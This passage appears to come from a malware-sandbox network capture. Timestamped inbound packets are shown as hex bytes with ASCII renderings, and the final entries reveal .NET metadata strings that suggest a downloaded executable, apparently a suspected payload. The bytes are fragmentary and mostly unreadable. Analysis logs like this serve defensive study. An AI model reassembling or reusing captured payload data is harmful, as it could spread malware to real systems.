,+N\|;uOJ+Ucx)y"$-!f\Bss=!=0G"\|9Zg}=K286+8?GiJ!?VY!5}I"(tv5TW8rYO:u~/}$t3 qv}(\|rt/<6()/SK]
2021-12-01 08:15:23 UTC	3949	IN	Data Raw: 9c 2d ba b3 c0 bc f8 e8 d6 7a c5 bc 73 df 10 b2 f7 01 3e 41 dc 5c da b4 58 27 e5 27 bf 27 c0 ba f1 dd 17 01 9c 99 dd b3 58 46 a5 2e 6b e9 e9 62 9b 61 51 21 e4 78 5d b1 59 85 30 87 ad 7f 8b 96 68 fc 5e f1 f1 ee b3 26 c4 8a 2f fb 8c 01 ec c7 d3 5c d0 55 f5 ac 93 f2 71 64 98 f5 04 b0 84 d8 a5 a5 39 fd 9e c1 b0 f3 71 6e 4b 54 ec f5 5a 5f ca 9f 0d 5f f9 a2 63 b5 72 ad ef e4 b7 de 42 ea aa 24 32 2e 0a 17 44 4c 72 b3 ea 3e 85 b0 61 35 7d af 8b bb 08 d5 4e 1b b2 de 8f cc e2 f8 f3 e6 ec 54 df 3a 9f eb 6b 31 a1 e8 9b 92 05 1a 3e af e2 c7 ce a5 32 2f e1 0c ad f5 a2 f2 46 ce d5 27 eb 44 ed 6b 08 07 da 55 74 24 85 79 25 dd 2d 58 96 ff 41 f9 21 d6 31 a4 28 f9 b4 74 e3 21 af 20 7b cc 9a 78 bc 11 0f 2a bb 10 51 d2 65 1b f9 ec ff c7 26 e2 4b 51 bc 63 d2 f2 e7 1b 5f de 93 Data Ascii: -zs>A\X'''XF.kbaQ!x]Y0h^&/\Uqd9qnKTZ__crB$2.DLr>a5}NT:k1>2/F'DkUt$y%-XA!1(t! {x*Qe&KQc_
2021-12-01 08:15:23 UTC	3965	IN	Data Raw: 61 53 38 0e 2a b6 8a f6 54 b8 1e 8c 02 7e 1f 2e 63 76 58 d8 87 7f 4a f1 d4 af bd 18 9b 96 5f fb f5 15 34 b4 2c cb e7 79 73 75 11 86 80 d0 18 b8 b6 a2 d1 55 8b 07 36 7e 8a 21 29 19 c6 36 f2 2c 7a 50 d3 8c b2 52 a1 1f 6d c8 db c9 1b 8d 81 4b 05 3c 5f 37 8b a7 2d 2a ed d7 53 76 05 8a 27 73 25 3e c7 f2 45 f3 89 ec d4 bd 1e de fc fe f8 f5 e7 c8 8c 93 8f 0f 75 aa 44 32 cf 56 f7 59 ad 6a b8 23 d7 90 eb d1 ec de 60 db 96 2f 3c b5 3c a2 3e 4b b8 92 30 e4 e8 4f 03 00 0f 9f 45 92 20 c3 b7 7f a9 30 76 1e 45 2a c6 c5 e9 dd aa da 9f 33 28 f7 47 d1 83 6c 68 c8 aa 36 d3 e8 3b 82 40 a0 d1 4b b9 ee c3 0b 2b f8 52 03 7a 6f 55 dd dc 84 0e 53 b1 2c 57 0e 8f 8d 34 2e ca dc 75 9a 2f 3c 1b c9 4f 6e a7 40 00 68 f4 cd 63 ea 4f e6 70 71 69 1d 03 0f b7 cf 7b 26 86 c3 0a 71 7f aa d3 Data Ascii: aS8T~.cvXJ_4,ysuU6~!)6,zPRmK<_7-Sv's%>EuD2VYj#`/<<>K0OE 0vE*3(Glh6;@K+RzoUS,W4.u/<On@hcOpqi{&q
2021-12-01 08:15:23 UTC	3981	IN	Data Raw: 8e b2 05 53 88 e0 11 5b a8 76 9e 60 5b 62 e3 ac 4c a7 ad 56 17 2c 78 eb 40 ba 88 51 e7 d3 f1 47 eb ca c3 17 4b d3 a2 b7 25 0c 57 cb 4d e6 64 a8 ae c2 1f 85 2e a3 0e a9 81 0d 99 74 4f ba 09 66 40 a1 eb 90 89 0f cd 98 ea c5 79 96 c3 b2 22 c1 65 e7 6b 94 30 7f 13 ee a8 6e a7 a4 00 d4 ae 85 04 d8 25 0d 44 c1 77 93 4c 1f 12 21 60 0e 20 cd e7 ed 02 07 53 e0 c9 ce 92 35 54 99 33 bb 9e 83 41 ef ae 9d 89 37 a0 d0 03 ee 1f f4 58 cb 3a 85 55 0f 0f d5 49 a7 e5 70 e1 b6 5d 18 1c d7 69 eb 1e 00 e1 61 7d c6 90 36 f1 6c cd 76 7c 36 db 21 5b 4e 9e fc 90 0d fc 27 ab 75 07 d7 4c c8 79 ee f8 f0 fe f0 a2 77 5e 0e 1c 3d 80 68 51 35 83 d9 df 1c ca 3a 6a cf a0 85 da 39 9d 08 6c d4 24 01 32 28 9c b4 b6 6a 5a 93 71 be 88 9c 92 5e 96 74 2f 2e 79 7a 3f 69 ab 4e c4 b5 c7 14 65 db 14 Data Ascii: S[v`[bLV,x@QGK%WMd.tOf@y"ek0n%DwL!` S5T3A7X:UIp]ia}6lv\|6![N'uLyw^=hQ5:j9l$2(jZq^t/.yz?iNe
2021-12-01 08:15:23 UTC	3997	IN	Data Raw: 0a d5 33 29 d1 53 51 cd 66 a0 3f a8 6e 1e 06 7d d9 7f 4a d8 9c c2 84 b8 d2 99 f3 1a b6 76 24 9e 6d d8 d1 fb fa 3a 69 88 ca 59 d8 26 77 69 cb 4a 83 cf 9c 57 c0 4b 3d 7f 6e df d7 c5 3f a1 53 39 08 fd c6 64 ea 7b 27 50 27 e8 19 a6 fb 8d ea ba da a5 05 16 9e ca f8 52 93 8e 85 58 e7 99 df db ad 20 bd ff ac 9e 0f c6 cb 87 93 64 bb ca de a8 54 59 59 c1 f2 73 d0 be 87 07 b8 23 68 0f b1 8a 0a 25 aa a4 03 a4 c9 d6 18 4a c6 d3 34 47 07 78 a1 e6 c0 7b b0 f2 b3 bb 8c 77 35 4f 6a e9 9a 31 c5 48 78 16 e5 01 3b 8f 00 84 4e 8a d6 f2 99 cd 36 d9 34 d8 e1 26 d6 d7 a0 07 75 61 81 1c 4c 0f d2 c1 81 c9 1c e4 86 14 31 59 da 49 6d fd 6e 1c a0 25 7c 91 cf 1a 6f d2 85 16 54 df 83 3a 56 47 db 70 33 7f de 19 30 73 e4 87 09 e0 e9 1a 55 20 14 59 d0 22 7e 94 59 3e b9 07 38 9f 9a 6f 27 Data Ascii: 3)SQf?n}Jv$m:iY&wiJWK=n?S9d{'P'RX dTYYs#h%J4Gx{w5Oj1Hx;N64&uaL1YImn%\|oT:VGp30sU Y"~Y>8o'
2021-12-01 08:15:23 UTC	4013	IN	Data Raw: 0f 8d 9e e8 05 6f e7 51 cc 36 a7 bb 54 80 86 1f 05 e8 f1 f0 4b 5c 70 48 ad 81 96 9b ea 46 4b 36 c3 d1 99 94 00 bc 6a 8a 1b e4 a7 7a fa 76 d4 c9 3a 8d cf 4d 40 d3 c9 97 6f ea 9c bc 0d 63 1b ba 62 9e 59 0e 1d 97 a2 a4 be 7e 6f 1a 84 a6 6a 5d 36 13 ad 2e 4f a4 1b 40 79 54 7a d9 2b 69 06 74 f7 a2 0c f2 75 d7 3f eb 1f 0c 4b b0 13 9f a4 27 94 44 06 6f 72 fb ac d7 88 12 73 a1 7e ab 5c 5e 1b 80 3f 4c 1e b9 5d e2 fc 86 9a 37 bc 2c 0e 9b 67 33 68 6c 43 ec 52 6c 75 07 1e 17 6c 96 c1 b1 3b 90 9f 0f 70 01 b6 f5 13 34 2e eb 2c c7 74 3c f7 0d e1 7b cd be e6 3e a1 12 2b df 97 f8 37 9b ec 6d ee a2 37 c9 10 20 15 84 0e 55 a7 ae 08 39 ab 5b 0b af 5c 14 25 8a 49 de 55 b0 ae be 54 ed 54 b8 71 16 d1 09 0b 2d 9a ba c2 28 6d ec 2f 7a 3b 16 9b 61 23 f2 8a 7c 92 32 e6 1c 9b 7b aa Data Ascii: oQ6TK\pHFK6jzv:M@ocbY~oj]6.O@yTz+itu?K'Dors~\^?L]7,g3hlCRlul;p4.,t<{>+7m7 U9[\%IUTTq-(m/z;a#\|2{
2021-12-01 08:15:23 UTC	4029	IN	Data Raw: 42 28 56 d5 d8 2c 37 3a 19 80 b1 66 6f 6f 65 9e 53 69 2b ae 48 9d aa dd 35 aa d5 13 b1 a5 92 1c 30 41 52 0d d5 17 6b 9a 87 8f b0 db 8b ee a7 31 00 df 69 d1 02 9e 38 55 65 85 a9 7b fa bf 23 c7 03 70 4b df ee f5 d9 77 1a ad 6c a4 a3 b7 10 1a d3 6c cd eb 49 c3 65 1b 65 89 c9 42 9f ed 4c 79 ff 23 26 4b c6 3d 26 d8 8b 97 ac e8 28 f2 48 6f 31 05 25 0f 30 9d d3 af 47 b6 9e 92 13 c0 d8 04 1c b3 26 da f6 92 71 9e 33 fd 25 e2 bc f4 90 0f cc 64 9e b2 4f c0 20 71 78 b1 84 ab 98 12 d0 72 0c 67 e1 a0 d7 65 e1 3e ff e6 47 b7 43 b2 c7 86 4a 05 e2 4c 49 ee ae 2a 91 52 bd fb 2c c0 91 42 35 f0 ba 37 0d 32 2f e1 67 25 c9 1a d5 1c 67 6d 22 7d d5 14 43 e8 f3 ac 91 d9 14 b2 e9 1a 5d 2d 25 ac b7 de d8 88 9c 7c 33 2f b2 c1 61 90 a9 c4 4b 2e 9d 8a 49 4d 33 48 aa ee 2d a5 6e e8 64 Data Ascii: B(V,7:fooeSi+H50ARk1i8Ue{#pKwllIeeBLy#&K=&(Ho1%0G&q3%dO qxrge>GCJLI*R,B572/g%gm"}C]-%\|3/aK.IM3H-nd
2021-12-01 08:15:23 UTC	4045	IN	Data Raw: 52 2e 98 f7 5b 2a 3c 55 d5 a3 f7 58 ff a5 03 a7 5f 46 ab 6b 5a 0b 51 1d 7d d5 e1 a7 19 bf 79 53 7e 89 d5 d0 89 6f 0f 2c d7 b9 12 e4 45 45 16 b5 5f 13 7f 7b f6 e0 ba 11 49 40 cc 51 70 a0 80 3d 40 76 9e 0c ce dd dc 92 c6 c8 b2 96 33 ee 79 15 f4 8a 4d a9 5b 31 0c 5b bd a6 c4 c5 5c 85 78 3c bc b1 b8 08 a2 97 e1 49 df 43 2a b5 75 6d f9 f7 78 3b 11 e2 57 29 66 a5 8b 49 ac 8f a1 cf 3b 7b 72 be 69 8c 58 f8 b3 d0 f7 f6 6d d4 67 4d 15 00 47 0f a0 cc 74 71 c1 98 d6 e5 5f 33 b3 12 ce 51 d5 f1 75 46 bb 94 c7 df d8 e8 db 34 9c be b4 1d 93 63 cc 34 50 61 e7 5c 59 5a 67 e5 bc f7 f6 93 d0 bf 7e d9 16 de 73 86 10 1f 28 4a a8 54 d2 3d 66 17 58 4d cd 29 57 d6 c7 0b 1b 71 e7 02 84 d3 10 e6 11 eb 86 b8 ab 36 f1 38 9f 72 b5 cd 57 be cf 75 78 70 12 c7 a2 9a 76 a2 f4 95 4b 67 99 Data Ascii: R.[<UX_FkZQ}yS~o,EE_{I@Qp=@v3yM[1[\x<ICumx;W)fI;{riXmgMGtq_3QuF4c4Pa\YZg~s(JT=fXM)Wq68rWuxpvKg
2021-12-01 08:15:23 UTC	4061	IN	Data Raw: aa e0 84 08 3f aa 8d f5 dd df 4f 79 69 3d da 8f 75 2c 37 be b2 0f 38 52 2b 13 6b 6b 24 b9 7a cb a1 49 17 af 32 67 60 1c 16 fe 23 a1 48 61 0a 25 41 4e 41 d7 fc 77 be 59 10 80 1e c4 0c a1 e6 4c 80 8f 69 45 73 d2 60 31 f6 07 20 97 45 94 19 29 a5 54 da f9 cb 37 d8 d4 1c 1b ca b2 e2 61 1e 09 92 73 d2 ec 60 af 1c 82 ea 32 f4 de 49 81 c5 62 71 2d a4 34 12 45 a2 43 02 a8 f1 09 25 c9 8a aa 5e bb d3 22 a7 fa 33 6d 0f 30 f0 f4 71 1e 33 f2 95 7c bd 32 e4 5f b8 49 6d 63 08 e1 c8 87 f2 46 83 9d 8d 2a 52 f7 d0 67 c6 4f 84 1c 4a a1 80 a0 a1 0e 07 28 6b fa 5d 81 1b f0 21 2c fa ba 6e e8 5f e6 8e 60 eb 02 25 cf f7 69 80 32 a2 4e ee 2f 85 84 7f a8 38 93 58 87 ae 83 c3 1e ca f4 f5 a4 89 d2 74 ea 40 1f a4 a0 df 77 14 7a 53 0f 84 23 91 36 ea 63 84 22 32 e4 6d 38 df fc 09 6d 02 Data Ascii: ?Oyi=u,78R+kk$zI2g`#Ha%ANAwYLiEs`1 E)T7as`2Ibq-4EC%^"3m0q3\|2_ImcF*RgOJ(k]!,n_`%i2N/8Xt@wzS#6c"2m8m
2021-12-01 08:15:23 UTC	4077	IN	Data Raw: 26 e4 96 5b 4a 48 04 fa 9f 7e e4 a5 52 16 f8 dc a1 f9 84 02 35 77 db 44 e2 20 41 40 92 a4 6d 1f 64 11 b6 36 c2 62 70 84 05 da c3 07 58 38 9f f8 3c e1 8d 56 6a b6 aa 34 70 2f e4 41 b5 b3 62 86 7c 50 2b a4 48 70 97 35 b8 a6 b4 c3 6c e6 76 0e 91 21 68 48 4e 9f bd d9 a3 68 ad a0 e7 e8 03 5d 55 3a 71 74 f0 aa 04 60 f9 96 54 45 59 65 5a 36 7e 52 11 b4 77 e1 c1 cf a2 57 b7 77 ce db 36 e4 7a d8 7c 91 4a 98 7a 74 d1 ce 44 21 b5 c8 8d b1 81 49 0b 80 67 c7 53 4c e4 b0 47 66 ab 75 94 9a 46 61 2c b2 22 f3 8f 5b ad 42 24 83 5a 8b 15 74 bc 21 95 ab f1 29 d5 7a 33 ed 59 b5 cf 05 f2 21 b8 20 ff 3e ef 24 1e b2 c2 f4 ff 5e e5 ab 68 ed fe 38 7a 96 80 c7 0c 8a fd f3 22 94 02 22 b2 f3 5f a1 e1 ef 3b 30 10 c1 e6 61 17 20 04 98 d0 99 d7 49 50 c2 2a 62 56 07 b1 3e 15 db ee 2d ad Data Ascii: &[JH~R5wD A@md6bpX8<Vj4p/Ab\|P+Hp5lv!hHNh]U:qt`TEYeZ6~RwWw6z\|JztD!IgSLGfuFa,"[B$Zt!)z3Y! >$^h8z""_;0a IP*bV>-
2021-12-01 08:15:23 UTC	4093	IN	Data Raw: ea 66 c8 87 b4 cb 3a 0d f8 18 0b 3d a5 7c e4 c2 7c 14 22 7b 54 b3 0e 1c 2b 01 98 6f 42 2b 2d 14 45 d3 f1 7a bf 28 4a 94 16 74 43 c8 c0 63 21 8c a8 77 c6 c7 84 bf 84 dd 58 a0 c3 3a 87 cb 7e b5 03 8f a3 37 09 2c 1e 61 11 69 c4 7a be 8f bf 9e aa e0 a2 93 6d f3 cb 59 44 02 73 6a aa df 0c 7a 5e d3 ae b8 d8 7b 5e 8a 0f 8f b2 6c db a0 dc e1 c3 9f 81 2e bd 20 ce 97 95 e3 7e 50 a2 f3 39 d8 47 ee 7e 76 8e f9 ec b5 2a b9 7c b8 d7 9c 5a e7 ec d6 09 fa 86 33 84 97 5d 01 0e af 1b c2 dc 9c 77 d3 61 f6 f1 88 42 90 08 e3 9b 19 d7 e3 97 37 db c7 3c 47 f6 8f 78 59 4a 20 3a a6 b9 1b f5 3e 3b 4e 60 a7 07 df b4 7b 43 e1 36 ae d8 3b 14 25 03 df c5 f5 ae 51 14 d5 5e 2b c9 ec 1f d2 9a 46 6d 04 3c f5 61 a8 c6 e6 21 23 55 57 f0 20 6b 90 57 12 08 86 74 ef 33 97 67 68 2e 81 24 24 9b Data Ascii: f:=\|\|"{T+oB+-Ez(JtCc!wX:~7,aizmYDsjz^{^l. ~P9G~v*\|Z3]waB7<GxYJ :>;N`{C6;%Q^+Fm<a!#UW kWt3gh.$$
2021-12-01 08:15:23 UTC	4109	IN	Data Raw: 93 2f c2 42 a1 1b 50 34 0f 72 4c 30 38 48 6e ae 46 c5 c5 53 2b 9a e5 49 c2 91 53 3d 04 e2 bd ae c1 8b f6 af ad e6 ef 3a c2 80 62 0d 5c 0b c1 e5 d6 73 bc 10 32 2d ed 36 99 65 b9 fd 7d 89 af de ae 57 7d ab 9a f2 3f 4f 62 b1 07 46 52 70 29 c7 04 b5 a0 4b 7f 74 83 ac db 91 08 7b 1d 21 59 68 cb 54 ca c6 c6 26 ac 78 db 83 46 13 55 26 1b cd fc b0 77 66 4c 55 a8 5f 92 bf 67 ee 20 9a 6a 34 c5 7f 38 c2 93 dd 0a 00 9f f2 c2 ab 69 98 e4 2f 46 85 7b dd 7b 88 7d c1 f4 91 c1 b8 36 62 34 89 46 9b 11 2f df 66 62 b6 f4 80 5a 09 34 0e 5c 0a 15 d9 12 0b f9 02 f4 b6 ab cf 27 2c 39 e9 05 2c fb 94 95 d4 ac 2d c3 3d b8 31 5e 58 b6 fd d5 46 5f 85 35 1b 94 9b 63 a7 2d 85 a4 d7 f6 a1 ef ee 5c c3 cc 47 d8 0a 0c 13 76 82 15 6f 4a 36 17 63 75 59 ee 95 fa 67 cc df c4 df e5 69 52 3a e1 Data Ascii: /BP4rL08HnFS+IS=:b\s2-6e}W}?ObFRp)Kt{!YhT&xFU&wfLU_g j48i/F{{}6b4F/fbZ4\',9,-=1^XF_5c-\GvoJ6cuYgiR:
2021-12-01 08:15:23 UTC	4125	IN	Data Raw: 7c 68 7f 7e b6 0e 31 24 a1 8a a1 89 fe ce 25 6a a8 d4 ba c9 45 95 e1 44 4d 42 47 14 49 26 cf ca bd 7f 87 fa 0d 47 53 a5 88 d4 38 33 1b fa 03 66 a7 21 53 27 09 aa 2c c2 e0 99 4a b3 39 2d 0b 97 72 eb 11 bc e7 31 ec 61 91 e9 7c 9f 32 ae 68 8c c1 d4 77 07 5e 96 bc ad c4 8d 96 79 62 66 8f 08 d6 8c 19 60 06 db 77 25 7a d7 f3 58 3c 22 bf 88 e0 f8 3a 58 68 f9 e7 d7 fa c1 05 da 09 0d e6 0c 61 4d d8 d2 00 72 a1 9f aa 3a 18 91 a1 b1 8b e1 da d4 37 45 77 95 57 db 1b 0a ac 9c 7b a6 4c 46 ef 9f 8f c5 3f 0b c5 2d 04 d4 ae be 50 4a 7a ed d9 e7 07 19 65 0a a3 3d 11 ea c0 3c 79 6d fb 0a f0 75 93 10 39 76 8e 3c 81 49 d3 e6 b9 d9 46 34 d3 0f d7 d2 25 96 12 31 32 32 67 f1 b4 fe c1 3b f5 e3 4a 2b 5e 33 80 40 46 a4 49 85 a1 7c 88 00 f2 27 c4 56 7e 19 7e bc db 9e 98 51 92 bd b4 Data Ascii: \|h~1$%jEDMBGI&GS83f!S',J9-r1a\|2hw^ybf`w%zX<":XhaMr:7EwW{LF?-PJze=<ymu9v<IF4%122g;J+^3@FI\|'V~~Q
2021-12-01 08:15:23 UTC	4141	IN	Data Raw: 36 0a 1e be f3 28 45 e9 4f 70 af f5 93 18 23 6d b6 5e c2 e8 f8 a2 71 be 63 80 8f b2 89 01 b2 df 5c 4d ee 37 93 f6 43 ae b7 aa 22 ae 4c 43 6c 7d 83 ae 8b 01 63 95 67 47 a3 62 61 b3 ab ec 91 99 4f 32 f2 db 23 f3 e7 b3 43 98 42 36 ac 40 f5 f1 ef cb d5 64 3f e0 2c d4 7e a8 4a db 82 19 ab a2 88 5e a9 5d aa 1e ff c0 8b 8a fd 8b d9 ca 38 90 9c fe 45 3f 7c 96 02 01 ad 6d 67 da c4 3c 4a d7 68 71 f6 41 1c 76 8f c1 0e eb fd 5b c7 68 b0 04 28 db 32 45 cc 23 e8 39 92 d0 05 32 c0 61 b7 c1 53 13 4f 9b eb 40 ba fe 8f 92 bf 11 37 e6 d8 cd 9d 2e 01 7d be e5 e5 1e 55 fe a7 7d f6 64 2d 12 81 99 9a 5f 05 58 f5 02 0c 13 91 9f e0 90 40 19 18 59 8f a2 9d dd 5c 85 80 f8 e8 6d d9 89 59 df dd 0f 37 93 2f 69 5d 3f a8 ba 51 14 70 12 c5 62 8d 7d bc 92 d2 0d a1 77 4e e1 92 37 eb a6 e8 Data Ascii: 6(EOp#m^qc\M7C"LCl}cgGbaO2#CB6@d?,~J^]8E?\|mg<JhqAv[h(2E#92aSO@7.}U}d-_X@Y\mY7/i]?Qpb}wN7
2021-12-01 08:15:23 UTC	4157	IN	Data Raw: 3a 45 7e 34 b0 17 ef cd c4 a4 60 f8 ca 2b 17 96 52 6d 9d c0 13 c3 da 3e 0e b5 dd 6d 48 df 1f 99 13 73 75 63 db 70 55 59 54 ac ff 68 c1 93 db d3 81 5a ba 35 6c 05 c6 dd de 1e 73 9e a8 21 4e cc 78 36 19 0c 7a f4 fd 20 dd e4 19 36 e3 78 f2 fc c9 72 cc d5 2c c3 90 7c 27 f6 c3 f3 41 df 47 ca 94 b0 30 89 fc 98 10 bc 4d d3 62 63 ce 90 96 39 92 82 75 58 de 75 a1 08 8b 02 0e f7 c1 61 0a 0a 91 75 f4 f9 41 e9 9d 75 f6 24 d6 73 fc 8b 8d be f3 7d fc 38 45 c3 4c ba 40 35 24 69 7a 8e 0b 65 d6 f3 eb ee 16 c1 cb d2 46 d4 bf 46 73 93 51 5f ae aa 30 bd ac c5 06 06 2e 2a c9 34 fa 48 11 87 d5 b6 af 1f 58 11 59 98 2f 23 09 c2 9c 9f 48 d4 0e a6 b7 5d 7e db c1 47 a4 76 df 8e 95 b6 c6 89 b4 43 87 86 72 fc fd 3b 5f d4 7f 84 8c 90 2c b2 65 35 7f d1 c5 c5 c4 43 47 79 df 2b 33 cb b4 Data Ascii: :E~4`+Rm>mHsucpUYThZ5ls!Nx6z 6xr,\|'AG0Mbc9uXuauAu$s}8EL@5$izeFFsQ_0.*4HXY/#H]~GvCr;_,e5CGy+3
2021-12-01 08:15:23 UTC	4165	IN	Data Raw: 40 50 7d ba ba 7c 5a 82 b4 99 3a 38 c3 87 5c 88 79 2f ea 41 79 ca 5c 0d 6e e7 c7 86 c0 29 ad be 6c 72 01 12 b5 7f 70 2f 08 14 89 bd 27 4f a2 cf 61 32 01 25 c8 62 30 ca 58 af 39 79 96 33 ea 70 72 bd 61 07 f8 a4 3d c8 cd c1 de 0b 57 af 17 c2 ba 77 a4 7f 94 cb 5f b2 78 f0 a5 e4 6f 65 33 b6 ae 9a 94 47 ce a7 00 55 0f c6 bb 04 78 58 a4 f2 85 4b 9f 60 c1 78 3b 12 7f fc f4 9e a9 5b a5 85 ab ab b7 9b 31 e6 f8 2d e4 e9 99 62 50 66 e6 c2 99 b4 5f 95 ae f3 1a db ca 40 41 ba db 60 b9 d8 c7 ea 4a 85 e7 e4 9b a2 ee 51 8b 69 91 a8 59 30 9e 58 01 c7 c9 bb d6 d6 6e 22 73 f7 c2 ab 68 c3 c4 f8 52 ed f2 da e5 40 fd 39 56 a0 69 a5 81 c7 43 50 fe f8 c7 33 d4 18 e3 43 a7 af d4 06 f4 ec f7 39 06 eb 08 0d 57 cb 27 cb 72 9a e0 fb 14 46 b4 80 bc 2f b9 ba b1 62 f0 13 2e 1e db fb 24 Data Ascii: @P}\|Z:8\y/Ay\n)lrp/'Oa2%b0X9y3pra=Ww_xoe3GUxXK`x;[1-bPf_@A`JQiY0Xn"shR@9ViCP3C9W'rF/b.$
2021-12-01 08:15:23 UTC	4181	IN	Data Raw: 0b d6 42 34 bf 65 d2 db 44 48 ba ba 3d 95 6a 48 cf f1 56 9d 6f 44 55 a2 a1 f4 14 ee 7a 9e 36 74 91 60 9f 6b 7d 75 8c 6c f8 e0 a3 9f 1f a4 ff 89 c0 04 3c a8 da 4e 73 44 75 73 d9 5e c5 f2 54 79 92 51 d6 71 f0 8b 8d 19 76 48 20 06 a9 42 05 37 dc 24 58 f0 88 44 13 e0 ba 37 e8 26 6c 39 0e b9 80 a3 a6 89 d5 b2 a3 ab 3a 09 77 da 38 cc 91 cd f9 d8 35 11 3f 5d 2e aa 8c 9b 94 b7 e6 38 ee 48 54 41 74 51 f6 4b 41 7b 0e 50 86 60 70 58 eb 74 dd 4b 13 2e 8a 12 58 1d d3 5b 8b 44 84 61 cf cf 51 35 9e 38 c8 fa 1d c8 9a 55 19 18 79 f2 4c 0b 39 39 1c b3 a7 7a d1 57 5b 3c b0 8b 95 60 a9 82 79 97 2e 82 2f 7c 16 04 42 53 41 b6 8b 80 a6 99 ce bd 33 94 5c 1a 73 c5 3c c1 6d 82 b5 8e 8a 0d 41 57 79 e4 ce 51 e3 2e b3 55 d1 55 92 31 30 f9 af 9e 28 c8 b3 5c 73 6a 73 e4 01 c9 ae 8c 44 Data Ascii: B4eDH=jHVoDUz6t`k}ul<NsDus^TyQqvH B7$XD7&l9:w85?].8HTAtQKA{P`pXtK.X[DaQ58UyL99zW[<`y./\|BSA3\s<mAWyQ.UU10(\sjsD
2021-12-01 08:15:23 UTC	4197	IN	Data Raw: cf 4a 23 60 ff 21 02 6c 40 58 2a 09 b1 73 e7 35 6d 4d a8 40 a0 3a 67 4a 40 1f cb bb f9 87 02 e4 9b 75 b9 6a 3a 6e 6f 51 4e b2 5e 1e 5d f8 07 71 4f 91 57 9b 01 4e f8 c2 8a f1 f1 66 a5 2a e5 6e c8 d7 06 12 ca 10 9d 6d be 8e 2a 27 ab fe c7 53 ac d4 29 6d 99 b2 ce 09 1b 1e de d9 79 9c 4d 96 ed b8 7e b1 0d d3 29 8f 67 da af a3 89 df c1 ae 68 b9 0d d9 1a 76 98 1d 73 37 ac a4 ba 72 65 39 79 f9 ea 4f cb 3f 58 ab fc 9e ed 64 c4 20 a3 99 39 e4 42 81 2e f0 89 47 27 76 9d 17 9e c4 08 d4 0c e1 39 fe 58 c9 e5 cc 84 00 43 22 a3 07 7b c6 92 d1 c2 16 9e 9e 53 5b 8d 5f 67 f3 03 a8 21 77 96 01 a3 41 69 5c 38 e9 3d cf a8 a2 f6 60 48 d7 52 0a de 98 1b 31 1e 8e 47 be 1b 72 fc b8 e3 8b 9e 2d 06 5d 51 0c 81 e4 e5 4d a6 3a e6 0f 91 db 7c 09 5d 21 be 41 c2 c3 c0 e2 44 69 7d f0 3f Data Ascii: J#`!l@Xs5mM@:gJ@uj:noQN^]qOWNfnm*'S)myM~)ghvs7re9yO?Xd 9B.G'v9XC"{S[_g!wAi\8=`HR1Gr-]QM:\|]!ADi}?
2021-12-01 08:15:23 UTC	4213	IN	Data Raw: 38 d9 df ff ff 11 0c 1e 11 0c 1e 95 20 31 85 36 78 5f 9e 11 1b 20 2e 57 05 e7 5a 20 0d 52 ff d7 61 38 b8 df ff ff 11 0c 1f 0e 95 1d 62 13 17 11 1b 20 37 3d 39 d8 5a 20 ee a3 09 dc 61 38 9c df ff ff 11 18 11 0c 17 95 58 13 18 11 1b 20 5e 94 d6 ec 5a 20 20 dd fe 2c 61 38 80 df ff ff 11 0c 18 95 20 cb bc 10 fa 5f 13 1a 11 1b 20 c3 56 f7 38 5a 20 79 c3 7c 00 61 38 61 df ff ff 11 0c 1d 11 0c 1d 95 11 0c 19 95 20 6a 74 a8 c7 5f 60 9e 11 0c 1f 09 95 1f fe 5a 13 17 11 1b 20 da 0a dc 35 5a 20 e2 24 4a 93 61 38 31 df ff ff 11 0c 18 11 0c 18 95 20 79 ba 42 c0 5f 9e 11 1b 20 68 7a 85 b7 5a 20 ca 3d 3c 13 61 38 10 df ff ff 11 0c 17 11 0c 17 95 11 0d 17 95 61 9e 11 0c 1f 0c 11 0c 1f 0c 95 11 19 60 9e 11 0c 1d 11 0c 1d 95 11 0d 1d 95 61 9e 11 18 20 bf ec 4b 89 5a 13 18 Data Ascii: 8 16x_ .WZ Ra8b 7=9Z a8X ^Z ,a8 _ V8Z y\|a8a jt_`Z 5Z $Ja81 yB_ hzZ =<a8a`a KZ
2021-12-01 08:15:23 UTC	4229	IN	Data Raw: 63 02 6c 01 00 00 00 00 03 00 83 18 ee 21 43 05 6c 01 00 00 00 00 03 00 c3 01 c6 16 53 17 6c 01 e4 aa 3b 00 08 00 91 18 f4 21 63 02 6c 01 00 00 00 00 03 00 83 18 ee 21 43 05 6c 01 00 00 00 00 03 00 c3 01 c6 16 69 17 6c 01 08 ab 3b 00 08 00 91 18 f4 21 63 02 6c 01 00 00 00 00 03 00 83 18 ee 21 43 05 6c 01 00 00 00 00 03 00 c3 01 c6 16 7f 17 6c 01 2c ab 3b 00 00 00 91 18 f4 21 63 02 6c 01 00 00 00 00 03 00 83 18 ee 21 43 05 6c 01 00 00 00 00 03 00 c3 01 c6 16 b5 17 6c 01 48 ab 3b 00 08 00 91 18 f4 21 63 02 6c 01 00 00 00 00 03 00 83 18 ee 21 43 05 6c 01 00 00 00 00 03 00 c3 01 c6 16 c9 17 6c 01 84 ab 3b 00 08 00 91 18 f4 21 63 02 6c 01 00 00 00 00 03 00 83 18 ee 21 43 05 6c 01 00 00 00 00 03 00 c3 01 c6 16 e6 17 6c 01 a8 ab 3b 00 00 00 10 00 a2 a6 ce 04 6c Data Ascii: cl!ClSl;!cl!Clil;!cl!Cll,;!cl!CllH;!cl!Cll;!cl!Cll;l
2021-12-01 08:15:23 UTC	4245	IN	Data Raw: 64 49 6e 66 6f 00 4d 65 74 68 6f 64 49 6e 66 6f 00 43 75 6c 74 75 72 65 49 6e 66 6f 00 4d 65 6d 62 65 72 49 6e 66 6f 00 50 61 72 61 6d 65 74 65 72 49 6e 66 6f 00 50 72 6f 63 65 73 73 53 74 61 72 74 49 6e 66 6f 00 c2 a6 c3 85 c3 93 6d 6f 00 63 3a 3a 70 00 c3 88 c2 bf 09 41 70 00 67 65 74 5f 42 65 65 70 00 53 6c 65 65 70 00 6c 70 00 73 65 74 5f 54 61 62 53 74 6f 70 00 63 3a 3a 71 00 53 79 73 74 65 6d 2e 4c 69 6e 71 00 63 3a 3a 72 00 73 65 74 5f 53 68 6f 77 49 6e 54 61 73 6b 62 61 72 00 43 6c 65 61 72 00 67 65 74 5f 4b 65 79 43 68 61 72 00 48 74 74 70 52 65 71 75 65 73 74 48 65 61 64 65 72 00 73 65 6e 64 65 72 00 72 61 6e 67 65 44 65 63 6f 64 65 72 00 42 75 66 66 65 72 00 43 6f 6d 70 6f 6e 65 6e 74 52 65 73 6f 75 72 63 65 4d 61 6e 61 67 65 72 00 44 65 62 75 Data Ascii: 